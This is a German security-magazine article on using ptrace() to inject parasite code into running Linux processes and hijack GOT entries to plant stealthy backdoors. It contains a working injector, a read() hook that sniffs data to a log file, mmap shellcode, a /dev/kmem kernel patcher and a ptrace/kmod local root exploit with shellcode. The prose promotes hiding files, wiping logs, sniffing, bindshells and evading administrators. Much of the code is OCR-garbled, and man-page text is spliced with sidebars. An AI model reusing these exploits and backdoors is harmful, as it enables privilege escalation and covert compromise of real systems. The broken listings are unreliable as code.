

Funktionen überschreiben mit ptrace()

Stefan Klaas (GroundZero Security Research)



Schwierigkeitsgrad



In den vergangenen Jahren gab es einige Prozess-Injections Techniken für ptrace(), einige öffentliche sowie private Sicherheitslücken, Backdoors und andere Applikationen. Wir werden einen detaillierten Blick auf die ptrace() Funktion werfen und lernen, wie wir eigene Backdoors schreiben können.

is jetzt haben wir noch keine, oder nur wenige veröffentlichte Codes gesehen, die ptrace() benutzen um Funktionen zu überschreiben. Es gibt einige private Programme, die bis jetzt noch nicht im Internet aufgetaucht sind und es gibt auch leider keine Dokumente, die diese Technik beschreiben. Deshalb werde ich Ihnen diese nützliche Technik näher bringen. Wäre es nicht toll, wenn wir Backdoors von fast jeder Grösse in den Speicher eines beliebigen Programmes platzieren könnten, die Programmausführung verändern könnten, auch bei einem eingebrachten non executable stack-Patch? Dann sollten Sie weiterlesen! Sie sollten auch wissen, dass ich folgende gcc Versionen benutzt habe:

gcc version 3.3.5 (Debian 1:3.3.5-13)
gcc version 3.3.5 20050117 (prerelease)
(SUSE Linux)

Die Kompilierung ist nicht schwer, einfach wie gewohnt gcc file.c -o output, darum werde ich keine Kompilierungssbeispiele nennen. Lassen Sie uns direkt beginnen. Die ptrace()-Funktion ist sehr nützlich für Debugging-Zwecke. Sie

wird benutzt, um den Ablauf von Prozessen zu verfolgen.

Lassen Sie uns einen Blick auf die Dokumentation dieser Funktion (man [3]) werfen:

Copyright (c) 1993 Michael Haardt (u31b3h-s@pool.informatik.rwth-aachen.de), Fri Apr 2 11:32:09 MET DST 1993. This is free documentation; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Softwa-

In diesem Artikel erfahren Sie...

- Wie die ptrace() Systemcall funktioniert;
- Wie man diese Funktion dazu benutzt, Funktionen in laufenden Programmen überzuschreiben und eigenen Code einzuschleusen;

Was Sie vorher wissen/ können sollten...

 Sie sollten mit der Linux Umgebung vertraut sein, ausserdem sind fortgeschrittene C Kenntnisse, sowie grundlegendes ASM (at&t oder intel) erforderlich. re Foundation; either version 2 of the License, or (at your option) any later version.

The GNU General Public License's references to *object code* and *executables* are to be interpreted as the output of any document formatting or typesetting system, including intermediate and printed output.

This manual is distributed in the hope that it will be useful, but WI-THOUT ANY WARRANTY; without even the implied warranty of MER-CHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details

You should have received a copy of the GNU General Public License along with this manual; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139. USA.

Modified Fri Jul 23 23:47:18 1993 by Rik Faith (faith@cs.unc.edu) Translated to German Sun Oct 06 15:00:00 1996 by Patrick Rother <krd@gulu.net> TH PTRACE 2 6. Oktober 1996 Linux 0.99.11 Systemaufrufe .SH NAME ptrace \- Prozessverfolgung .SH ÜBERSICHT .B #include <sys/ptrace.h> .sp .BI "int ptrace(int request, int pid, int addr, int data); .SH BESCHREIBUNG .B Ptrace stellt einen Weg zur Verfügung, durch den ein Vaterprozeß die Ausführung eines Tochterprozesses kontrollieren und sein core überwachen und ändern kann. Der Hauptnutzen besteht in der Implementation von Fehlersuche mit Unterbrechungspunkten (breakpoint debugging). Ein getraceter Prozeß läuft bis ein Signal auftritt. Dann stoppt er und der Vater wird benachrichtigt durch .BR wait (2).

Wenn des Prozeß sich in gestopptem Zustand befindet, kann sein Speicher gelesen und beschrieben werden. Der Vater kann auch die Tochter bewegen, die Ausführung fortzusetzen; optional kann das Signal, daß das Stoppen bewirkte, ignoriert werden. .LP Der Wert des Arguments .I request legt die genaue Aktion des Systemaufrufs fest:

Listing 1. Simpler ptrace()-Injektor

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <asm/user.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <errno.h>
#include <linux/ptrace.h>
asm("MY BEGIN:\n"
  "call para_main\n"); /* Den Anfang des Parasiten markieren */
char *getstring(void) {
  asm("call me\n"
   "me:\n"
  "popl %eax\n"
   "addl (MY END - me), eax\n";
void para main(void) {
/* der Kern des Parasiten
*/
asm("\n"
  "movl $1, %eax\n"
   "movl $31337, %ebx\n"
  "int $0x80\n"
  "\n");
 * we do exit(31337);
  * nur um das Ganze in strace zu verfolgen
asm("MY_END:");  /* der Parasit endet hier */
char *GetParasite(void) /* Parasiten lokalisieren */
   asm("call me2\n"
   "me2:\n"
   "popl %eax\n"
   "subl $(me2 - MY_BEGIN), %eax\n"
   "\n");
int PARA SIZE(void)
  asm("movl $(MY END-MY BEGIN), %eax\n"); /* Grösse des Parasiten */
int main(int argc, char *argv[])
int parasize;
int i, a, pid;
char inject[8000];
struct user regs struct reg;
printf("\n[Example Ptrace Injector]\n");
if (argv[1] == 0) {
  printf("[usage: %s [pid] ]\n\n", argv[0]);
  exit(1);
pid = atoi(argv[1]); parasize = PARA_SIZE(); /* Platz kalkulieren */
while ((parasize % 4) != 0) parasize++; /* Erstellen des Injektions-
                      Codes*/
  memset(&inject, 0, sizeof(inject));
  memcpy(inject, GetParasite(), PARA SIZE());
   if (ptrace(PTRACE_ATTACH, pid, 0, 0) < 0) /* attach Prozess */
```



- PTRACE_TRACEME: Dieser Prozeß wird durch seinen Vater verfolgt. Der Vater sollte erwarten die Tochter zu verfolgen;
- PTRACE_PEEKTEXT, PTRA-CE_PEEKDATA: Lese Wort bei Adresse .IR addr. TP;
- PTRACE_PEEKUSR: Lese Wort bei Adresse.I addr im .BR USER \-Bereich. TP;
- PTRACE_POKETEXT, PTRA-CE_POKEDATA: Schreibe Wort an Adresse .IR addr. TP;
- PTRACE_POKEUSR: Schreibe Wort an Adresse .I addr im .BR USER \-Bereich. TP;
- PTRACE_SYSCALL: PTRA-CE_CONT Fahre fort nach Signal. TP;
- PTRACE_KILL: Send dem Tochterprozeß ein .B SIGKILL um ihn zu beenden. TP;
- PTRACE_SINGLESTEP: Setze das trap Flag für Einzelschrittmodus. TP:
- PTRACE_ATTACH: Haenge an den Prozeß an, der durch .IR pid spezifiziert ist. TP;
- PTRACE_DETACH: Gib einen Prozeß frei, der vorher verbunden war.SH BEMERKUNGEN .BR init, der Prozeß mit der Prozessnummer 1, darf diese Funktion nicht benutzen.

Machen Sie sich nun keine Sorgen, Sie müssen all diese neuen Informationen noch nicht vollständig verstanden haben. Allerdings sind die Angaben direkt auf den Punkt gebracht und sollten verständlich für Sie sein. Ich werde Ihnen einige Anwendungsmöglichkeiten im Laufe dieses Artikels erklären.

Nutzen der ptrace() Systemcall

Normalerweise wird ptrace() dazu benutzt, den Ablauf eines Prozesses, meist zur Fehlersuche, zu verfolgen und kann sehr hilfreich bei dieser Aufgabe sein. Die Programme strace und Itrace benutzen diese Funktion, um den Prozessablauf eines laufenden Programmes zu überwachen. Es gibt diesbezüglich einige nützliche Programme im In-

ternet, daher möchten Sie eventuell einmal selbst bei Google suchen, um diese Programme in Aktion zu sehen

Was sind Parasitäre Codes

Es sind kleine Codes, die sich nicht selbst replizieren. Sie werden meist in Programme injiziert. Dazu wird

Listing 1a. Simpler ptrace()-Injektor

```
printf("cant attach to pid %d: %s\n", pid, strerror(errno));
exit(1);
printf("+ attached to proccess id: %d\n", pid);
printf("- sending stop signal..\n");
kill(pid, SIGSTOP); /* stop den Prozess */
waitpid(pid, NULL, WUNTRACED);
printf("+ proccess stopped. \n");
ptrace(PTRACE GETREGS, pid, 0, &reg); /* Registerinformationen abfragen
printf("- calculating parasite injection size.. \n");
for (i = 0; i < parasize; i += 4)  /* Parasite Code auf %eip schreiben */</pre>
int dw;
memcpv(&dw, inject + i, 4);
ptrace(PTRACE_POKETEXT, pid, reg.eip + i, dw);
printf("+ Parasite is at: 0x%x \n", reg.eip);
printf("- detach..\n");
ptrace(PTRACE_DETACH, pid, 0, 0); /* detach Prozess */
printf("+ finished!\n\n");
exit(0);
```

Listing 2. Ein Blick auf die GOT-Tabelle

Listing 3. Beispiel von sys _ write:

```
int patched_syscall(int fd, char *data, int size)
{
// wir erhalten alle Parameter aus dem Speicher, der Deskriptor
// bei 0x8(%esp), Daten 0xc(%esp) und Grösse bei 0x10(%esp)
asm("
movl $4,%eax # original syscall
movl $0x8(%esp),%ebx # fd
movl $0xc(%esp),%ecx # data
movl $0x10(%esp),%edx # size
int $0x80
// nach dem interrupt Aufruf ist die Rücksprung Adresse in %eax
// Wenn Sie nun eigenen Code nach der Syscall platzieren wollen,
// müssen Sie %eax speichern und am Ende dorthin zurück springen
// fügen Sie keine "ret" Instruktion am Ende ein!
")
```

in den meisten Fällen ELF-Infektion bzw. Ptrace()-Injektion verwendet. Der grundlegende Unterschied zwischen diesen beiden Methoden liegt darin, dass ELF-Infektion resistent, d.h. auch nach einem reboot noch aktiv ist, während ptrace-Parasiten nur im Speicher *leben* und daher nur aktiv sind, solange der Prozess ausgeführt wird.

Klassische ptrace-Injektion

Klassische ptrace-Injektion wurde in *phrack* [2].veröffentlicht. Sollten Sie diesen Text nicht gelesen haben, so würde ich Ihnen raten, dies nachzuholen. Wenn Sie die ptrace()-Injektionstechnik bereits kennen, gehen Sie einfach über zu Sektion 3. Es handelt sich hierbei um eine sehr nützliche Funktion, speziell zur Fehlersuche und Syscall-Verfolgung.

Mit Ptrace haben Sie die Möglichkeit, Prozesse zu überwachen und
die Ausführung anderer Prozesse
zu kontrollieren. Desweiteren können Sie die Register eines Prozesses ändern und somit eigene Befehle implementieren. Daher ist es offensichtlich, warum man diese Funktion zum ausnutzen von Schwachstellen benutzen kann.

Listing 4. Code eines Infektors aus dem Internet, um den benötigten Speicher zu erhalten.

```
void infect code()
 xorl %eax, %eax
 push %eax # offset = 0
 pushl $-1  # no fd
 push $0x22 #
 MAP PRIVATE|MAP ANONYMOUS
 push1 $3  # PROT_READ|PROT_
 push $0x55 # mmap()
reserviere 1000 bytes
  # benötigen Sie mehr, müssen
Sie neu kalkulieren
 pushl %eax # start addr = 0
 movl %esp.%ebx
 movb $45,%al
 addl $45, %eax # mmap()
 int $128
 ret
  "):
```

Hier ist ein Beispiel einer ptrace-Sicherheitslücke im alten Linux Kernel. Kernels vor 2.2.19 haben eine lokale Schwachstelle, die es ermöglicht, root Rechte zu erlangen. Durch eine sog. race condition in der execve()-System-Call kann ptrace() dazu benutzt werden um einen child-Prozess zu kontrollieren. Wenn nun der Prozess setuid läuft, kann ein Angreifer eigenen Code mit erhöhten Privilegien ausführen. Mit anderen Worten, der Angreifer bekommt Super-User Rechte.

Es gibt noch weitere bekannte Sicherheitsprobleme mit ptrace() bei Linux Kernel 2.2.19 und älter, welche als gefixt beschrieben werden, aber erfahrungsgemäss haben viele Admins nicht die nötigen Patches/Updates eingespielt und somit sind noch viele Systeme von diesen Schwachstellen betroffen. Bei Linux 2.4.x gibt es ein ähnliches Problem, eine *race condition* in kernel/kmod.c,

welche einen unsicheren Kernel Thread startet. Diese Lücke erlaubt das Ptracen von geklonten Prozessen und ermöglicht es somit, priviligierte Programme zu kontrollieren.

Ich füge einen *Proof of Concept*-Exploit Code für diese Schwachstelle in den Anhang [2] dieses Artikels ein. Das war ein kleines Beispiel, wie man ptrace() benutzen kann, um root-Rechte zu erhalten.

Es ist an der Zeit mit unserem ersten Injections-Beispiel und mit unserem ersten Beispielcode zu beginnen. Anstatt den Code in den Anhang zu packen, werde ich ihn hier einfügen und etwas genauer mit Kommentaren erklären.

Unser erster einfacher ptrace()-Injektor – siehe Listing 1a und 1b.

Nun ein Test in unserem Terminal (A):

```
server:~# gcc ptrace.c -W
server:~# nc -lp 1111 &
[1] 7314
server:~# ./a.out 7314
[Example Ptrace Injector]
+ attached to process id: 7314
- sending stop signal..
+ process stopped.
- calculating parasite
injection size..
+ Parasite is at: 0x400fa276
- detach..
+ finished!
server:~#
```

Auf dem anderen Terminal (B), stracen wir den netcat-Prozess:

Listing 5: Beispiel zum Erstellen der infect _ code()-Funktion.

```
ptrace(PTRACE GETREGS, pid, &reg, &reg);
ptrace(PTRACE_GETREGS, pid, &regb, &regb);
reg.esp -= 4;
ptrace(PTRACE POKETEXT, pid, reg.esp, reg.eip);
ptr = start = reg.esp - 1024;
reg.eip = (long) start + 2;
ptrace(PTRACE_SETREGS, pid, &reg, &reg);
while(i < strlen(sh code)) {</pre>
ptrace(PTRACE POKETEXT,pid,ptr,(int) *(int *)(sh code+i));
i += 4;
ptr += 4;
printf("trying to allocate memory \n");
ptrace(PTRACE_SYSCALL, pid, 0, 0);
ptrace(PTRACE SYSCALL, pid, 0, 0);
ptrace(PTRACE_SYSCALL, pid, 0, 0);
ptrace(PTRACE GETREGS, pid, &reg, &reg);
ptrace(PTRACE SYSCALL, pid, 0, 0);
printf("new memory region mapped to..: 0x%.8lx\n", reg.eax);
printf("backing up registers...\n");
ptrace(PTRACE SETREGS, pid, &regb, &regb);
printf("dynamical mapping complete! \n", pid);\\
ptrace(PTRACE DETACH, pid, 0, 0);
return reg.eax;
```



```
gw1:~# strace -p 7314
Process 7314 attached
- interrupt to quit
accept(3,
```

Dann gehen wir zurück zu unserem Terminal A und verbinden zu dem infizierten Netcat-Prozess:

Lassen Sie uns nun einen Blick auf die Ausgabe von strace auf Terminal B werfen:

```
accept(3, {sa_family=AF_INET,
sin_port=htons(35261),
sin_addr=inet_addr
("127.0.0.1")}, [16]) = 4
_exit(31337) = ?
Process 7314 detached
server:~#
```

Wie Sie sehen können, hat es funktioniert! Jetzt genug von einfacher ptrace()-Injektion. Nun beginnen wir mit fortgeschrittenen Techniken mit dieser Funktion. Sollten Sie immer noch etwas unsicher sein, beginnen Sie den Artikel noch einmal von vorne. Spielen Sie ein wenig mit dem Beispiel, damit Sie die Materie besser verstehen. Der Rest dieses Artikels erwartet, dass Sie simple ptrace() Injektionen verstanden haben.

Funktionen überschreiben

Diese Technik ist etwas schwerer verständlich, jedoch sehr nützlich - Funktionen überschreiben mit ptrace(). Auf den ersten Blick scheint es sich um dasselbe zu handeln, wie ptrace()-Injektion, aber es ist doch ein wenig anders. Normalerweise würden wir unseren Shellcode in den Prozess injizieren. Wir würden ihn in den Stapelspeicher schreiben und ein paar Register ändern.

Mit dieser Methode haben wir jedoch einige Einschränkungen. Zum Beispiel wird der Code nur einmal ausgeführt. Wenn wir allerdings Syscalls überschreiben, bleibt der Code aktiv, bis das Programm beendet wird. Achten Sie darauf, dass wir nicht von richtigen Syscalls direkt im Kernel sprechen, sondern nur von importierten, gemeinsam genutzten Funktionen, welche dieselben Aktionen ausführen wie die originalen Syscalls.

Die GOT (Global Offset Table)-Tabelle gibt uns die Speicheradresse, bei der wir die Funktion, nach dem Laden finden. Der einfachste Weg, um die gewünschte Adresse zu erhalten, ist das Programm objdump zu benutzen.

Werfen wir einen Blick auf die GOT Tabelle in Listing 2.

Wenn ein Prozess die Funktion read() aufrufen möchte, fragt er die Adresse 08086b30 ab. Bei 08086b30 liegt eine weitere Adresse, die auf die wirkliche read() Funktion zeigt. Wenn wir nun eine andere Adresse in 08086b30 eintragen, wird das nächste Mal, wenn der Prozess die Adresse aufruft nicht read() angesprochen, sondern er landet bei der Adresse, die wir eingetragen haben.

Wenn Sie folgenden Code eintragen würden:

```
movl $0x08086b30, %eax
movl $0x41414141, (%eax)
```

würde der Prozess das nächste Mal, wenn read() aufgerufen wird, einen Segfault bei Adresse *0x41414141* anzeigen. Mit diesem Wissen können wir nun einen Schritt weiter gehen. Lassen Sie uns über die Möglichkeiten nachdenken. Es ist uns möglich, jede beliebige Funktion zu überschreiben, somit können wir verschiedenste Backdoors in laufenden Prozessen plazieren. Wir können die totale Kontrolle über einen z.B. Server-Prozess übernehmen, Syscalls überwachen, Rücksprung-Adressen ändern oder Daten protokollieren.

Zuerst benötigen wir allerdings Speicherplatz für unser Backdoor. Es gibt ca. 244 Bytes unbenutzten Speicher bei 0x8048000. Dieser Platz ist belegt von den ELF Headern, welche nur beim Initialisieren des Prozesses

benutzt und sobald das Programm gestartet ist, nicht mehr benötigt werden. Wir können diesen Platz nun verwenden, um unseren Code dort zu platzieren, ohne den Ablauf des Prozesses zu stören. Also anstatt Daten zu zerstören indem wir unseren Code direkt an <code>%eip</code> schreiben, können wir ihn dort platzieren, oder wenigstens einen initialen

```
#define LOGFILE
"/tmp/read.sniffed"
```

```
asm("INJECT_PAYLOAD_BEGIN:");
int Inject read
  (int fd, char *data, int size)
  jmp DO
  DONT:
  popl %esi # logfile adresse
  xorl %eax, %eax
  movb $3, %al #
  read() aufrufen
  movl 8(%esp), %ebx # ebx: fd
  mov1 12(%esp),%ecx # ecx:
  movl 16(%esp),%edx # edx:
 arösse
  int $0x80
  movl %eax, %edi #
  return value speichern in %edi
  mov1 $5. %eax #
  open() aufrufen
  movl %esi, %ebx # LOGFILE
  mov1 $0x442, %ecx
  # O_CREAT|O_APPEND|O_WRONLY
  movl $0x1ff, %edx #
  Permission 0777
  int $0x80
  movl %eax,
              %ebx # ebx:
fd für die nächsten 2 Calls
  movl $4, %eax #
write() to log
  movl 12(%esp),%ecx
  # pointer an data
  movl %edi, %edx #
  read's ret value - zu
 lesende Bytes mit read()
  int $0x80
  movl $6, %eax
  int $0x80
  movl %edi, %eax
  jmp DONE
  DO:
  call DONT
  .ascii \""LOGFILE"\"
  .bvte 0x00
  DONE:
  ");
asm("INJECT_P_END:");
```

Listing 7. Eine kleine Funktion um das .text Segment zu erreichen

```
int get_textsegment(int pid, int *size)
   Elf32_Ehdr ehdr;
   char buf[128];
   FILE *input;
  int i:
   snprintf(buf, sizeof(buf), "/proc/%d/exe", pid);
   if (!(input = fopen(buf, "rb")))
   return (-1);
   if (fread(&ehdr, sizeof(Elf32_Ehdr), 1, input) != 1)
   goto end;
   * read ELF binary header + do calculations
   *size = sizeof(Elf32_Ehdr) + ehdr.e_phnum * sizeof(Elf32_Phdr);
   if (fseek(input, ehdr.e phoff, SEEK SET) != 0)
   goto end;
   for (i = 0; i < ehdr.e phnum; i++) {</pre>
   Elf32 Phdr phdr;
   if (fread(&phdr, sizeof(Elf32 Phdr), 1, input) != 1)
   if (phdr.p_offset == 0) {
   fclose(input);
   return phdr.p_vaddr;
end:;
  fclose(input);
   return (-1):
/*
 * Hier rufen wir unsere Funktion aus main() auf
if ((textseg = get textsegment(pid, &size)) == -1) {
  fprintf(stderr, "unable to locate pid %d\'s text segment address (%s)\n",
   pid, strerror(errno));
   return (-1);
 ^{\star} Wir müssen unbedingt den Platz beachten – wir können nur 244Bytes belegen!
if (inject parasite size() > size) { // validate the size
  fprintf(stderr, "Your parasite is too big and wont fit. optimize it!\n");
   return (-1);
snprintf(buf, sizeof(buf), "/proc/%d/exe", pid);
if ((readgot = got(buf, "read")) < 0) { // grab read's GOT addy
  fprintf(stderr, "Unable to extract read()\'s GOT address\n");
   return (-1);
if (inject(pid, textseg, inject_parasite_size(), inject_parasite_ptr()) < 0)</pre>
   \label{eq:continuous} \texttt{fprintf(stderr, "Parasite injection failed! (\$s) \n", strerror(errno));}
   return (-1);
 * Überschreiben von read's global offset table Addresse
if (inject(pid, readgot, 4, (char *) &textseg) < 0) {</pre>
   fprintf(stderr, "GOT entry injection failed! (%s)\n", strerror(errno));
   return (-1);
```

Parasiten, der dann einen grösseren startet. Da unser Platz limitiert ist, bietet sich diese Methode natürlich an

Werfen wir nun einen Blick auf unser Binary (den *Prozess*), bei dem wir unser Backdoor platzieren wollen. Zuerst benötigen wir jedoch ein wenig Hintergrundwissen und einen Weg, um unser Backdoor in den Speicher des Prozesses zu schreiben.

Syscalls abfangen

Das .text Segment enthält die ELF Programm-Header und andere Informationen, welche nur bei der Initialisierung benötigt werden. Nachdem der Prozess geladen wurde, sind die Header nutzlos und daher können wir diesen Platz nun nutzen, um unseren Code dort einzufügen. Um den Anfang dieser Sektion zu erhalten, müssen sie pvaddr abfragen.

Diese Sektion hat einen statischen Platz und mit ein paar simplen Kalkulationen erhalten wir unsere Formel:

```
max_possible_size
...=sizeof(e_hdr)+sizeof(p_hdr)
*amount_of_p_headers
```

Es steht uns nur wenig Platz zur Verfügung, jedoch genug für ein wenig ASM code. Wenn wir eine Syscall patchen, müssen wir natürlich einen originalen Syscall speichern. Wir schreiben daher unsere eigene Implementation dieser Syscall, die die selben Funktionen ausführt wie das Original.

In Listing 3 sehen wir einen Code Auszug, der eine selektierte Syscall ersetzen wird:

Ein Vorteil hierbei ist es, dass wir uns keine Gedanken über den Executable Stack oder NULL Bytes machen müssen. Unsere veränderte Syscall lebt im inneren des Prozesses, jedoch haben wir wieder den Nachteil des limitierten Speicherplatzes.

Lassen Sie uns nun überlegen, welche Informationen wir benötigen, um unsere Funktion zu überschreiben:



Listing 8a. Kernel Patcher um init zu Manipulieren

```
#define _GNU_SOURCE
#include <asm/unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
int kmem fd;
/* low level utility subroutines */
void read kmem( off t offset, void *buf, size t count )
   if( lseek( kmem_fd, offset, SEEK_SET ) != offset )
   perror( "lseek(kmem)" );
   exit( 1 );
   if( read( kmem fd, buf, count ) != (long) count )
  perror( "read(kmem)");
  exit( 2 );
void write kmem( off t offset, void *buf, size t count )
   if( lseek( kmem fd, offset, SEEK SET ) != offset )
   perror( "lseek(kmem)" );
   exit( 3 );
   if( write( kmem_fd, buf, count ) != (long) count )
   perror( "write(kmem)" );
   exit( 4 );
#define GCC 295 2
#define GCC 3XX 3
#define BUFSIZE 256
int main( void )
  int kmode, gcc ver;
  int idt, int80, sct, ptrace;
   char buffer[BUFSIZE], *p, c;
   if( ( kmem_fd = open( "/dev/kmem", O_RDWR ) ) < 0 )</pre>
   dev t kmem dev = makedev(1, 2);
   perror( "open(/dev/kmem)");
   if ( mknod( "/tmp/kmem", 0600 | S IFCHR, kmem dev ) < 0 )
   perror( "mknod(/tmp/kmem)");
   return( 16 );
   if( ( kmem_fd = open( "/tmp/kmem", O_RDWR ) ) < 0 )</pre>
   perror( "open(/tmp/kmem)");
   return( 17 );
   unlink( "/tmp/kmem" );
   /* get interrupt descriptor table address */
   asm( "sidt %0" : "=m" ( buffer ) );
   idt = *(int *)( buffer + 2 );
```

- Der Prozess, den wir überschreiben wollen + Prozess ID:
- Die Funktion, die wir überschreiben wollen;
- Die Adresse der Funktion aus der GOT-Tabelle:
- Die Adresse des .Text-Segmentes:
- Die eigene Implementierung der Backdoor Funktion.

Umgehen der Platzlimitation

Wie schon gesagt, belegen die ELF Header etwa 244 Bytes und dies ist nicht genug für ein grösseres Backdoor, also habe ich nach einer Methode gesucht, die es uns ermöglicht, einen grösseren Code einzufügen.

Die erste Idee war, einen dynamischen Speicher zu reservieren.

- Code in den Stapelspeicher einfügen, der einen dynamischen Speicher reserviert (mit mmap ());
- Einen Pointer auf die Speicher-Region erhalten;
- Unsere inject() Funktion benutzen um unseren Code in den reservierten Speicher zu schreiben, aber anstatt des .Text-Segmentes, den neuen reservierten Speicherplatz benutzen:

In Listing 4 sehen Sie den Code eines Injektors, den ich im Internet gefunden habe, um dynamischen Speicher zu reservieren:

Um Speicher zu reservieren ohne den Speicher auszuführen habe ich ein kleines, modifiziertes Schema:

- Überschreiben der .Text Segment start Adresse mit infect _ code() (Vergessen Sie nicht die originale read()-Funktion);
- die read()-Funktion verfolgen (strace) und die Rücksprung-Adresse speichern. Zum Beispiel wenn Sie nun netcat infizieren wollen, dann sollten Sie zu dem

Listing 8b. Kernel Patcher um init zu manipulieren

```
read kmem( idt + ( 0x80 << 3 ), buffer, 8 );
int80 = ( *(unsigned short *)( buffer + 6 ) << 16 )</pre>
+ *(unsigned short *)( buffer );
read kmem( int80, buffer, BUFSIZE );
if( ! ( p = memmem( buffer, BUFSIZE, "\xFF\x14\x85", 3 ) ) )
fprintf( stderr, "fatal: can't locate sys call table\n" );
return( 18 );
sct = *(int *)(p + 3);
printf( " . sct @ 0x%08X\n", sct );
read kmem( (off t) ( p + 3 - buffer + syscall ), buffer, 4 );
\label{eq:new_point} \verb|read_kmem| ( sct + \underline{\  \  } \verb|NR_ptrace * 4, (void *) & ptrace, 4 );
read_kmem( ptrace, buffer, BUFSIZE );
if( (p = memmem(buffer, BUFSIZE, "\x83\xFE\x10", 3)))
p -= 7;
c = *p ^ 1;
kmode = *p & 1;
gcc_ver = GCC 295;
else
if( ( p = memmem( buffer, BUFSIZE, "\x83\xFB\x10", 3 ) ) )
p -= 2;
c = *p ^ 4;
kmode = *p & 4;
gcc_ver = GCC 3XX;
else
fprintf( stderr, "fatal: can't find patch 1 address\n" );
return( 19 );
write kmem( p - buffer + ptrace, &c, 1 );
printf(" . kp1 @ 0x%08X\n", p - buffer + ptrace );
if( gcc_ver == GCC_3XX )
p += 5;
ptrace += *(int *)( p + 2 ) + p + 6 - buffer;
read kmem( ptrace, buffer, BUFSIZE );
p = buffer;
if( ! ( p = memchr( p, 0xE8, 24 ) ) )
fprintf( stderr, "fatal: can't locate ptrace_attach\n" );
return( 20 );
ptrace += *(int *)( p + 1 ) + p + 5 - buffer;
read kmem( ptrace, buffer, BUFSIZE );
if( ! ( p = memmem( buffer, BUFSIZE, "\x83\x79\x7C", 3 ) ) )
fprintf( stderr, "fatal: can't find patch 2 address\n" );
return( 21 );
c = (! kmode);
write_kmem( p + 3 - buffer + ptrace, &c, 1 );
printf( " . kp2 @ 0x%08X\n", p + 3 - buffer + ptrace );
if( c ) printf( " - kernel unpatched\n" );
else printf(" + kernel patched\n");
close( kmem fd );
return( 0 );
```

Prozess verbinden, einige Daten senden damit read() aufgerufen wird:

Der nächste Aufruf ist mmap(), um Speicher zu reservieren und die Rücksprung-Adresse zu erhalten, um Sie in inject() zu verwenden.

Bei inject() handelt es sich einfach um eine simple ptrace() - Iniektionsfunktion

In Listing 5 finden Sie noch ein Beispiel, was für die Funktion infect_code() benötigt wird, nachdem ptrace attach ausgeführt wurde:

Jetzt sind wir in der Lage, Backdoors von fast unlimitierter Grösse zu erstellen und deshalb können wir auch weitaus komplexere Codes einfügen.

Was ist möglich

Was können wir nun mit diesem Wissen anfangen? Grundsätzlich handelt es sich um dasselbe, wie Standard-Funktionen überschreiben, (wenn Sie damit vertraut sind z.B. durch LKM Rootkits) nur mit Hilfe von ptrace(). Werfen wir einen Blick auf ein paar unserer Möglichkeiten:

- Ändern von Rücksprung-Adressen z.B. Protokolle faken;
- · Dateien löschen (log Daten);
- Dateien verstecken z.B. Viren,Würmer oder verschlüsselte Daten;
- Kommunikationen belauschen (sniffen);
- sog. Bindshells oder Connect back um Zugriff auf ein System zu erhalten;
- Sitzungen übernehmen (session hijacking);
- Zeitangaben oder md5 Summen ändern.

Wie Sie sehen können, haben wir eine grosse Auswahl verschiedenster Backdoor-Möglichkeiten, die wir benutzen können. Der Punkt dabei ist: es ist uns möglich, einen Prozess komplett zu kontrollieren. Sie können neue Funktionen hinzufügen, oder entfernen (z.B. Protokollfunktionen) und es ist Ihnen



Listing 9a. Linux Kernel ptrace/kmod lokale Schwachstelle

```
#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <svs/tvpes.h>
#include <sys/ptrace.h>
#include <svs/socket.h>
#include ux/user.h>
char cliphcode[] =
   "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
   "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
   "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
   "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
   "\x40\xcd\x80\xe8\xdc\xff\xff\xff";
#define CODE SIZE (sizeof(cliphcode) - 1)
pid t parent = 1;
pid t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;
void fatal(char * msg)
   perror(msg);
   kill(parent, SIGKILL);
   kill(child, SIGKILL);
   kill (victim, SIGKILL);
void putcode(unsigned long * dst)
   char buf[MAXPATHLEN + CODE SIZE];
   unsigned long * src;
   int i, len;
   memcpy(buf, cliphcode, CODE SIZE);
   len = readlink("/proc/self/exe", buf + CODE SIZE, MAXPATHLEN - 1);
   if (len == -1)
    fatal("[-] Unable to read /proc/self/exe");
   len += CODE_SIZE + 1;
   buf[len] = '\0';
   src = (unsigned long*) buf;
   for (i = 0; i < len; i += 4)</pre>
   if (ptrace(PTRACE POKETEXT, victim, dst++, *src++) == -1)
   fatal("[-] Unable to write shellcode");
void sigchld(int signo) {
   struct user regs struct regs;
   if (gotchild++ == 0)
   return;
   fprintf(stderr, "[+] Signal caught\n");
   if (ptrace(PTRACE GETREGS, victim, NULL, &regs) == -1)
   fatal("[-] Unable to read registers");
   fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
   putcode((unsigned long *)regs.eip);
   fprintf(stderr, "[+] Now wait for suid shell...\n");
   if (ptrace(PTRACE DETACH, victim, 0, 0) == -1)
   fatal("[-] Unable to detach from victim");
   exit(0):
```

außerdem möglich, versteckte Backdoors zu implementieren, da Administratoren normalerweise Ihren Servern trauen. Wenn Sie nun also named infizieren, haben Sie gute Chancen, dass das Backdoor nicht entdeckt wird, ausser Sie öffnen einen neuen Port. Wir führen daher einfach eine Shell aus ohne einen Port zu öffnen, um nicht aufzufallen. Mehr hierzu später in diesem Artikel.

Verschiedene Backdoors

Nun haben Sie einige Backdoor-Möglichkeiten gesehen, jedoch nicht wirklich verstanden? Dann gehen wir jetzt etwas mehr ins Detail. Ich stelle Ihnen ein paar Screenshots eines Parasiten in Aktion zur Verfügung und erkläre Ihnen, was dort vor sich geht, um Ihnen ein besseres Verständnis zu geben.

Den init Prozess infizieren

